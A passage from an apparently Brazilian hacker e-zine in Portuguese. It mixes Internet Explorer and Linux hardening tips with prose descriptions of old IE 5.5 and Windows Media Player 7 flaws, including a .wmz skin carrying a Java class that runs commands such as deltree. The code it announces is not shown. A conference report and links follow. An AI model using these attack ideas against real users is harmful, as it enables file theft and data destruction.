soubesse fazer  isso, e dai eu digo, bom pra vc, mais tem quem naum sabe mané !!
E de quebra  algumas  falhas  no I.E. que  um  WebMaster  mal  intecionado  pode
explorar (Eu juro que nunca fiz isso). Pode até ser contraditorio escrever sobre
como  explorar falhas mais a  intenção e de assustar  pela facilidade que isso e
possível. Bom  pra  começar vamos  deixar o I.E.  mais  protegidos de ataques, a
melhor opção seria usar o Netscape mais se vc e fã da Microbost (fazer o que tem
gosto pra tudo nesse mundo) lá vai:

Abra o Internet Explorer e faça a sequencia Ferramentas / opções da internet/
aba Segurança / Nivel personalizado e siga os passos abaixo.

1- Proteja suas senhas,  para evitar  que pessoas mau intencionadas tenha acesso
   ao seu nome de  usuario(login) e sua  senha, clique em "login anônimo" ou se
   preferir em "solicitar nome do usuário e senha".

2- Cookies,  como  na  verdade  alguns  destes  biscoitinhos  são programas meio
   camuflados para monitorar suas ações na internet e bom pedir para o navegador
   requisitar confirmação antes de copiar um para seu HD, ou então crie o habito
   de apagar seus aquivos temporarios da internet periodicamente.

3- Softwares instalados automaticamente, outro dia vc encontrou um trojan no seu
   HD adivinha  como ele apareceu, para naum ficar a mercer dessa eficiente arma
   hacker , defina em "Permissão de Canais de Softwares" segurança máxima ai seu
   navegador nunca mais vai fazer download de um programa sem o seu conhecimento

4- Informações  confidencias, se vc naum quer correr o risco de quando for fazer
   compras on-line ter por exemplo o numero de seu cartão de credito  a mercê de
   espertinhos vá em "submeter dados de  formulário não criptografados" e clique
   em "desabilitar".

5- Miniaplicativos em Java, bom essa linguagem e vastamente usada na  criação de
   sites e como e muito maleavel e  flexivel e tb  bastante comum ser vista como
   forma de vandalismo  digital,  para diminuir  os risco  clique em  "segurança
   alta" em permissões de java.

 6- Scripts e ActiveX, da mesma forma que o Java e bom tomar cuidado com esses ai
   para  isso  habilite a opção  "confirmar" em "scripts e plug-ins" e "controle
   activeX", assim qualquer ação que envolver seu micro será notificada e pedirá
   sua aprovação.

Mais isso  tudo e mesmo necessário!? Sim senhor! Preste atenção nestas falhas
do I.E. e vc verá como é possível com simples  linhas atacar qualquer sistema
desprotegido.

                                 Falha no I.E. 5.5

   Com essa falha aki e possível ler qualquer arquivo da maquina de desavisados.
Uma brecha  no Active  scripting permite  isso. Vamos supor  que vc queira ler o
arquivo c:\hacker.txt vc consegue imaginar isso naum e mesmo???

Bom  na verdade  esse código  só vai  mostrar o arquivo para quem  acessar a
pagina  em questão (vc naum achou mesmo que eu ia ensinar tudo, achou?) mais se
vc consegue entender o codigo e só redirecionar o  conteudo para  algum arquivo
no servidor.

                              Quer mais ? Então Toma ! !

Essa falha se aproveita de outra falha do Windows  Media Player 7, e é  muito
pior  que a anterior, é simples  o tocador do  ruindows tem uma função de baixar
skins  automaticamente ou  seja basta  colocar um  arquivo com  extensão .wmz no
navegador que o coitado faz o resto. E vc com isso? Bom o conteudo desse arquivo
pode ser qualquer coisa, hehhehhe, ponha  esse troço que vc tem entre as orelhas
para  funcionar que vc verá as  inumeras  possibilidades, nesse  exemplo será um
aplicativo  em Java  que vai ter  acesso a todo  disco rigido com permissão para
executar qualquer comando no HD, inclusive o deltree. Vamos supor que vc tenha a
seguinte pagina no seu site, hacker.html coloque nela o seguinte código:

No arquivo hacker1.html coloque:

Esse  código baixa  o wmp2.wmz  para o  computador, apos  isso será  aberto o
hacker1.html o  qual procura  dentro do  wmp2.wmz o  arquivo  inferninho.class o
lance  todo  esta  aki, esse  arquivo  e  que  vai  executar  o  comando  de sua
preferencia,  que  eu naum  vou ensinar  como faz , pelo  simples fato que essas
coisas  são uma faca  de dois  legumes (é isso mesmo!?, bom naum  importa) o que
quero dizer e que naum quero que isso vire o paraiso de Lamers, mais se vc  esta
prestando atenção vai perceber como  e facil, lembre-se que esse aquivo pode ser
qualquer coisa.

Bom ja fugimos demais do assunto voltemos então:

7- Patches de  segurança  e Firewall, para  corrigir essas  falhas use o Windows
   Update, é akilo lá serve pra  alguma  coisa sim, ele vai direcionar vc para a
   pag. da  Microbost e  sugerir que vc baixe algumas correções ai e so esperar,
   bom se vc nunca fez isso  vai  esperar  muito  o windows  e cheio de buracos.
   Instale tb um Firewall, sugiro  o ZoneAlarme que e de gratis e é o suficiente
   para manter Lamers afastados, e  os hackers  como me livro deles? Bom a menos
   que  vc seja um  Milhonario nenhum  deles  vai se  interessar  em invadir seu
   computador o esforço naum vale apena a naum ser que isso lhe dê algum prazer,
   por exemplo vingança ou pura sacanagem mesmo, uahuahuahuah.

Sobre  o que  mais eu  ia escrever  mesmo???  (Vou  subir  a  tela  pra ver a
introdução, espera  ai, ja  que  eu  volto!). Ah  tá! Navegar  anonimamente  com
endereço  de  proxy ! Se vc naum sabe  o que é um proxy, vai ficar sem saber por
que eu naum tô afim de escrever sobre. Mais como eu uso um, Inferninho? Pra usar
um, é simples, primeiro vc procura neste site um lugar onde ta escrito Endereços
de Proxys ou  qualquer  coisa  parecida  e pra  tá no menu da esquerda, se esses
Proxys naum estiverem  funcionando  e só mandar um  Cólera do Dragão no Haze que
ele atualiza a lista. O endereço deve ser algo assim 123.45.67.89:80 obs.: que o
endereço e somente 123.45.67.89 esse tal de :80 e o numero da porta.

Agora e so configurar o Navegador, para o I.E. use essa sequencia:

Ferramentas/ Opções  da  Internet/ Conexões/ botão  Configuração  de LAN/ Marque
a opção  usar servidor  proxy para  rede local/ no  endereço  digite o  proxy no
nosso caso 123.45.67.89/ e embaixo a porta que e 80 sem os ":" pelo amor de Deus
, ai e so dar OK/ Aplicar/ OK.

Para o Netscape faça assim:

Edit/ Preferences/ Advanced/ Proxies / Marque a opção Manual proxy configuration
/ Em HTTP Proxy digite o  endereço do  proxy / Em Port, digite  a porta do proxy
dããããããã / OK.

Ah  tá ! então  vc usa Linux  e esta  acima de tudo hehehe !!! De fato isso e
quase  verdade, digo quase porque nem mesmo o Linux consegue escapar das mãos de
usuarios  menos experientes, um "problema"  para quem usa  Linux e que a maioria
das  distribuições  disponibilizam  um  conjunto de serviços  que são executados
assim  que  vc  liga  seu  micro, alguns  destes serviços  podem ser  executados
automaticamente durante a conexão com a internet por exemplo um servidor Web. Ai
seu sistema fica com portas abertas e vulnerável, pra invadir ele e so passar um
port scan e  tentar um telnet  ou rodar um  exploit, e vc  ainda vai ficar aí se
perguntando como? por que? comigo naum!!! Ou vai  fechar de vez  essas maleditas
portas (Italiano em homenagem a novela Esperança!!! Credo, acho  que endoidei de
vez). Então  execute o  seguinte  comando como  "root", "# ntsysv --level 35" se
aparecer  uma  telinha  azul vc  ta no caminho  certo  garoto  esperto! Todos os
serviços marcados com "*" serão inicializado junto com o  sistema, para alternar
entre a inicialização ou naum, pressione a barra de  espaço, se vc naum sabe pra
que serve  akele serviço  tecle F1 com o  cursor sobre seu nome que vai aparecer
uma tela explicativa, nunca habilite um programa a menos que vc tenha certeza do
seu uso, isso poderá evitar muitos problemas, para sair aperte TAB e escolha OK,
pronto so isso mané !!!

   Ae tem o basicão o resto é com vc pikachu, se vira ki tu naum nasceu umbigado
comigo, falow ! !

*************************
 The MOTD Hacking Group
 Writted by Inferninho
*************************

|--------------------------------=[ EOF ]=----------------------------------=|

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 22 ]=-=[ MOTD na Conisli - Nós Fomos, Nós Participamos ]=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Como vai galera? Fuçando muito?

Reservo esta seção  seção em especial  para divulgar a  vocês que o  1º Conisli
- Congresso Internacional do Software Livre -  que foi realizado nos dias 8 e  9
na USP-SP teve  a participação do  grupo MOTD. Isso  mesmo! Esse grupo  cheio de
Newbies teve alguns representantes na seção "Mesa de Discussão sobre Hackerismo"
onde foi discutido sobre  o verdadeiro hacking junto  com o hacking ético  (sim,
são sinônimos). Junto com o  MOTD estavam presentes também integrantes  do grupo
CdM - Clube dos Mercenários -, do FTS  - Front The Scene -, e do Fusion  - Recém
criado.

E são eles  quem compareceram na  mesa de discussão:  IP_FIX (motd), Sefer_Zohar
(fusion),  dmr  (fts),  dum_dum  (fts   e  cdm)  e  Inferninh0  (motd).   Embora
praticamente  todos fazem  parte de  todos os  grupos citados.  Com esse  grupo,
levamos o  underground no  topo (entenderam?  underground no  topo! hahaha.  Sem
graça.) para mostrar ao público que estava assistindo (uma sala cheinha) que  os
hackers não são criminosos digitais, lamers, kiddies, etc... Bom, tentamos levar
ao topo, claro que nunca conseguiremos satisfazer a todos, mas a grande  maioria
sim.

Vamos lá galera!!! White Hat na cabeça!!! Temos que colocar esse chapéu e darmos
a cara à tapa se  quisermos mudar essa imagem negativa  que a mídia tem de  nós.
Lembrando que o  Conisli foi a  nossa primeira aparição  e isso serviu  para dar
partida para  próximas que  já estão  agendadas (agendadas,  não confirmadas)  e
contamos com o apoio  de todos. Nada é  impossível, só depende de  você. Se você
acredita que pode mudar, vai lá! Vai lá lutar pelo o que você acredita com todas
suas forças e com o mais  importante: Um grupo (amigos). Um jovem  não conseguiu
derrubar  a  ditadura  lutando  com  tudo  que  tinha,  mas  milhares  de jovens
derrubaram essa "elite" que só nos fez sofrer (nossos pais e mães).

Com o hacking não é diferente. O  mais forte (mídia, ricos e micro$oft) impõe  o
que é certo  e errado sem  dar espaço para  uma defesa justa.  Então cabe a nós,
jovens, derrubarmos essa ditadura que já impera por muitos anos... Desde  quando
surgiu o primeiro exploit, o primeiro vírus (boot), o primeiro computador...

Voltando ao  assunto do  Conisli, só  tenho a  dizer que  teve tudo  do bom e do
melhor.      Conseguiram       juntar      o       útil      ao       agradável:
Linux+Computadores+Internet+Hackers(?)+Pessoas  que  entendem  muito  de   tudo.
Ahhhh,  vocês perderam  as garotas  da LinuxChix,  que é  um grupo  feminino de
usárias de linux...:D. Jonh Maddog esteve presente, um velhinho muito  simpático
que quase falei  o que eu  queria ganhar de  Natal!!! Sim, ele  é igual o  Papai
Noel! Chega da minha infantilidade. O Congresso também contou com a presença  de
Antônio Marcelo - Honeypot-BR e ex da bufferoverflow.org - que deu uma  palestra
muito  interessante  sobre  honeypot.  Sandro  Melo  também  deu  uma execelente
palestra sobre Varreduras e Técnicas de  rede que abrangeu ao máximo os  tipo de
varreduras  que podem  ser feitas.  Carlos E.  Morimoto -  Criador do  Kurumin
- também esteve presente, mas não  pudermos assitir à sua palestra por  estarmos
presente na  seção do  install fest,  galera super  10 que  deu total  apoio aos
usuários  leigos em  linux que  levaram seus  pcs para  ser instalados  diversas
distribuições e  deram apoio  também à  cultura hacker  com a  presença deles na
nossa palestra.

É galera, é impossível falar de todos os detalhes nesses dois dias de  congresso
que marcou o grupo  e o movimento hacker,  mas só posso dizer-lhes  isso. Espero
não ter  esquecido de  nada nem  de ninguém.  Então até  a próxima  e-zine ou me
encontre no canal. Tchau!

Hehehe, não ia esquecer de uma pessoa não.

Após nosso  debate na  mesa, sobrou  um povo  que começou  a conversar conosco e
dentre eles, tinha uma figura que  virou mito no hacking ético. Graças  aos meus
olhos treinados,  que possuem  uma percepção  afiada e  uma capacidade de piscar
inegualável! Reparei que um senhor (que insistiu que eu o chamasse de VOCÊ!  :))
tinha uma barata na camiseta (de desenho, não de verdade!), uma barata dentro de
um computador!  Não pensei  duas vezes.  Perguntei seu  nome e  a resposta foi a
esperada: - Derneval.

Sim,  Derneval Ribeiro  Rodrigues da  Cunha, o  criador da  primeira fanzine  no
Brasil que divulgou  o hacking ético  a todos pela  primeira vez na  história de
nosso país no dia 3 de Dezembro  de 1994 chamado de “BARATA ELÉTRICA”, que  pode
ser  conferido em:  http://www.barataeletrica.cjb.net. Todos  ficamos mudos  por
alguns instantes. Ele  é sujeito muito  simpático, humilde e  desconfiado... :D,
que por incrível que pareça ainda está na ativa, mas com passo lento. E sim, ele
está disposto a levar nosso movimento à frente de tudo e de todos para chegarmos
a nossa meta: Muda a imagem negativa que o hacking possui.

Derneval, saiba que o  grupo MOTD sempre estará  aberto a pessoas como  você que
além de querer aprender, quer ajudar a disponibilizar todas informações e  mudar
nossa imagem. Estaremos sempre a  disposição e nunca deixe de  acreditar naquilo
em que você sempre  sonhou. Obrigado por tudo  e sempre que precisar  peça nossa
ajuda.

Agora  sim,  espero não  ter  esquecido de  ninguém.  Ahhh, do  sqwalk  (Rafael)
(Rafael), ele que é do fusion iria participar da mesa de discussão mas não  pôde
por  problemas   pessoais  (mulher,   filho).  Sei   que  ficou   chateado,  mas
oportunidades como esta não irão acabar tão cedo (espero...:)).

Congressos como este, só nos ensina que atrás de um pequeno nick, há uma  grande
pessoa.  Desejo  à  vocês, caros  leitores,  toda  sorte do  mundo  e  que nunca
desacredite nos seus sonhos e ambições, por mais impossível que pareça. Pois pra
mim era impossível e loucura, irmos na USP, num congresso como a Conisli, com  5
pessoas, discutirmos sobre a verdadeira cultura hacker para dezenas de  pessoas.
:). Vencemos uma batalha, mas nos resta uma guerra pela frente...

Agradecimento em  especial ao  Sefer_Zohar, que  sem ele  nada disso  teria sido
possível (ele que  deu a idéia  de abrir um  espaço pra nós);  ao Inferninh0 que
após horas de discussões  no irc, resolveu ir  de última hora no  evento; ao dmr
que é um "mestre de furar tabocas com varas de bambú" :) e ao dum_dum, que falou
+ que  nós mas  respondeu diretamente  e corretamente  todas as  perguntas tanto
socialmente quanto tecnicamente; e faltou  o sqwalk (Rafael) que não  pôde estar
presente na mesa de  discussão, mas deixou conosco  seu apoio. Obrigado a  todos
pelo apoio que deram e obrigado à você, newbie, que está lendo esse artigo até o
final!!! :)

Um Cordial abraço para todos,

IP_FIX - Everson.

“Hacker não destrói, não invade, não  rouba. Apenas cria, melhora e protege.”  –
IP_FIX no Congresso do Software Livre realizado na USP.

Fatos Cômicos do Evento:

Na parte da install fest, dum_dum e eu ia sair pra assistir uma das palestras  e
na hora de sair  Jonh Maddog agarrou ele  para tirar várias fotos.  Vocês tinham
que ver o sorriso que ficou na cara do garoto que foi bem maior que esse :D

Depois das fotos, viram um inseto nas costas do Maddog e quando viram, começaram
a gritar:
"- TEM UM BUG NO MADDOG!!! TEM UM BUG NO MADDOG!!!" :D

E tem  outra do  Maddog. Ele  entrou na  salinha para  tirar fotos em que estava
reunido o pessoal do Install Fest e  nessa sala tinha uma lousa (que usa  caneta
piloto pra escrever) que tava  escrito +/- isso: “Não fazer  downloads. Internet
estrupada por I.F. (Install Fest). Beleza, normal isso, a não ser pelo fato de o
Maddog ter tirado foto com o ESTRUPADA POR I.F bem do seu lado...

No domingo, cheguei lá com o Inferninh0 na hora do almoço e um pessoal se reuniu
lá na  Install Fest  para almoçar  e vimos  um sujeito  que encostou na lousa, e
quando ele  saiu vimos que a palavra “ESTRUPADA” sumiu da lousa!!! Só estava  um
pouco do final: “PRADA”. E quando  o sujeito virou de costa, vimos:  “ESTRUP..”.
Demos  muita risada  e ainda  se defendeu:  “- Ahhh,  sorte que  só ficou  meia
palavra...”.  E nessa  eu retruquei:  “- Verdade,  mas pra  bom entendedor  MEIA
PALAVRA basta...!!!” :D:D:D

Logo  após o  BOOK de  fotos que  dum_dum tirou  com Maddog  (sim, foram  muitas
fotos), o celular dele começa a tocar no bolso, e ao atender, o celular virou um
sabão e pega  aqui, escorrega, pega  denovo, soltou, mais  uma vez e  cai, tenta
mais uma mas deixa cair no chão,  e quando estava caindo, o Rafael (sqwalk)  foi
tentar amortecer a queda deixando-o cair em cima de seu pé... Pra que...  Quando
ele foi por o pé  em baixo acabou dando uma  “bicuda” no celular que quase  caiu
dentro do lixo (chegou a bater no latão)!!! No fim ele conseguiu atender. Era  o
dmr falando que queria rachar a taboca dele!!! Não me perguntem o que é TABOCA!

Sefer_Zohar estava discutindo (conversando normal, mas com uma atenção tremenda)
com o Antônio Marcelo bem excitamente, quando no meio da conversa, sem mais  nem
menos, muito subtamente ele  vira para o lado  e fala: "- Vamos  assistir Matrix
Revolution???".  Todo mundo  olha pra  ele e  fica sem  entender nada.  Essa só
estando lá mesmo pra entender... :)

Quando  fui  aprensentar  o  Inferninh0 pra  galera,  aprensentei  como  o maior
Defacer, Lamer  e Script  Kiddie do  Brasil. Todo  mundo zoou  ele e demos muita
risada disso... Exceto o dmr, que acreditou que isso era verdade...

Inferninh0, que mal  abria a boca  pra falar Oi,  Tchau e Blz,  se arrenpedia de
abri-la para falar seu  nick para o pessoal  que não o conhecia:  "- Inferninh0?
Você é kiddie, defacer ou o quê???", “- Daonde você arrumou esse nick???” :)

Durante a nossa palestra,  fizeram uma pergunta e  ele se referiu assim:  "-Vejo
que você são  muito jovens... -  e quando olhou  para mim (IP_FIX)  - ...e muito
adolescentes  também...".  Pô!  Pode  me  chamar  de  crinça  que  não  ligo! Os
Sefer_Zohar, dum_dum, sqwalk  (Rafael) e Inferninh0  me encontraram na  primeira
vez que me viram por causa da minha cara de 12 anos. E só para esclarecer: Tenho
16 anos!!! :D

E pra encerrar. O Derneval voltou de  trem/metrô com a gente, e ao entrarmos  no
vagão,  percebamos  que  estava quase  completamente  vazio  e quando  sentamos,
reparei que ele (Derneval) estava sentado  no banco de idosos. Não que  ele seje
velho,  mas a  carapuça serviu...  Ele reparou  que falei  pro inferninh0  dando
risada, e nesse instante deu um desespero nele: “ – Deixa eu sentar aí, deixa eu
sentar aí, deixa eu sentar aí...  – disse ele para o dum_dum,  mandando-o sentar
no banco de idosos. :D

Houve muitos fatos engraçados, mas foram menos que este e não tem palavras  para
descrever. Só  quem tava  mesmo que  aproveitou essa  reunião de malucos... Isso
porque não falei que o Sefer_Zohar saiu arranhado no braço pelo dum_dum. Qual  é
gente? Sem preconceito!!! Não é só porque que dormiram no mesmo quarto, que isso
seje muito supeito (muito mesmo...:)).

É só isso galera, espero não ter ofendido ninguém, principalmente Sefer_Zohar  e
dum_dum, mas se ofendi eu já peço desculpas... Abraços e até a próxima galera.

[]´s

IP_FIX.

PS: Não aconteceu nada com dum_dum e Sefer_Zohar. Dmr estava no quarto também! :)
PS2: Se ofendi alguém nesse meu infame  senso de humor, me desculpem + uma  vez,
mas foram detalhes inesquecíveis e bizarros!!!

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 23 ]=-=[ Links e Agradecimentos ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Bom galera, chegou a hora das  despedidas, elas são tristes mas animadoras  pois
sei que se chegaram até aqui é  porque aproveitaram essa e-zine até o final  (ou
pulou pra cá direto,  hehehe :)). Espero que  tenha sido de grande  ajuda, mesmo
porque o objetivo não é ensinar ninguém a se expert, muito menos hacker. Ela  só
é  a  porta do  caminho  que muito  de  nós estamos  percorrendo  e dificilmente
pararemos e  queremos que  vocês percorram  também. “Há  uma grande diferença em
saber o caminho e trilhar o caminho” – Morpheus – Matrix

A  mensagem que  quero passar  pra vocês  é que  não desistam  daquilo que  você
acredita e  não se  consegue nada  sem esforço.  Pra tudo  que façamos existe um
preconceito, a  solução é  passar por  cima dele.  Não importa  se nos chamam de
“ladrões virtuais ou vândalos”. Sabemos que não somos. E não é só porque aparece
pedras no caminho  é que vamos  desistir no primeiro  tombo, ninguém aprendeu  a
andar sem cair.

É só galera, só quero falar pra vocês que o grupo motd está aberto ao que der  e
vier. Não tenha medo  de perguntar. Só não  faça perguntas cretinas como:  “- Me
ensina a invadir.” Pois não iremos  tolerar, estamos aqui pra ajudar e  não para
ensinar rodar um exploit pra tal falha. Espero que tenham me entendido.

Agradeço  ao  SKOFF,  Sefer_Zohar,  Inferninh0,  dum_dum,  dmr,  sqwalk, bronco,
hallucination, greenhornet, nashleon  (coracaodeleao), nibble, omdule  (module),
habeas,   Le_AmBAr,   REPOLHO,   ByNaRiuS,   emmanuele,   cod3x,  BlackSheep182,
Soldier_of_Dark,  d4rwin,  Vo5,  Caiobat,  HazzarD,  RedEyes,  Jakk_,  SkyNet45,
Gold_Boy,  OmegaB1te, Waldirio,  Narcotic, s0ul,  deadsckt, Derneval,  mpacheco,
reign, Haze, Lorena, V4mp1r4 e a todos que colaboraram de certa forma com o motd
e ao que eu esqueci. :). Até a próxima edição.

“Pra tudo que tem um começo, tem um fim.” – Agente Smith ao ponto de matar o Neo

O que segue abaixo (Brasileirinho) é de um idealizador que não tem vínculos  com
o motd, mas também atua na área de segurança.

:: Brasileirinho gnu\linux ::

O brasileirinho gnu\linux é uma mini distribuicao, voltado para programadores  e
usuarios  que gostam  cioonfigurar tudo  na mão,  e também  serve para  usuarios
iniciantes que tem a intencao de apenas aprender ou saber como funciona o linux.

Se voce usa o  Windows9X, NT, 2000, XP,  MSDOS, nao é preciso  reparticionar seu
HD, pois ele  e totalmente instalavel  em qualquer destes  sistemas operacionais
sem precisar modificar nada no seu sistema operacional. Ele funciona em qualquer
computador apartir de 486, 8 mb de memoria ram e com 200 mb no hd livre.

Site para download: http://www.brasileirinho.phx.com.br

Está versão  é recomendada  para quem  que ajudar  no projeto  ja que como é uma
distribuição nova ha muito caminho a percorrer.

Se quiser ajudar entre em contato por:
#brasileirinho - Rede Brasnet: irc.brasnet.org

Links:
http://www.motdlabs.org
http://www.infoshack.cjb.net
http://cdm.frontthescene.com.br
http://www.frontthescene.com.br
http://www.barataeletrica.cjb.net
http://coracaodeleao.virtualave.net
http://unsekurity.virtualave.net
http://www.hallucinated.kit.net
http://www.infernoz.kit.net
http://www.phrack.com
http://www.w00w00.org
http://www.txt.org
http://www.honeypot.com.br
http://www.conisli.org.br
http://www.google.com.br
http://www.brasileirinho.phx.com.br

Existe uma  infinidade de  outros links  que não  puderam ser  citados aqui  por
questão  de  esquecimento, mas  que  poderão ser  passados  na nossa  mail-list.
Agradecemos a compreensão.

Atenciosamente,

Motd Labs.

_EOF_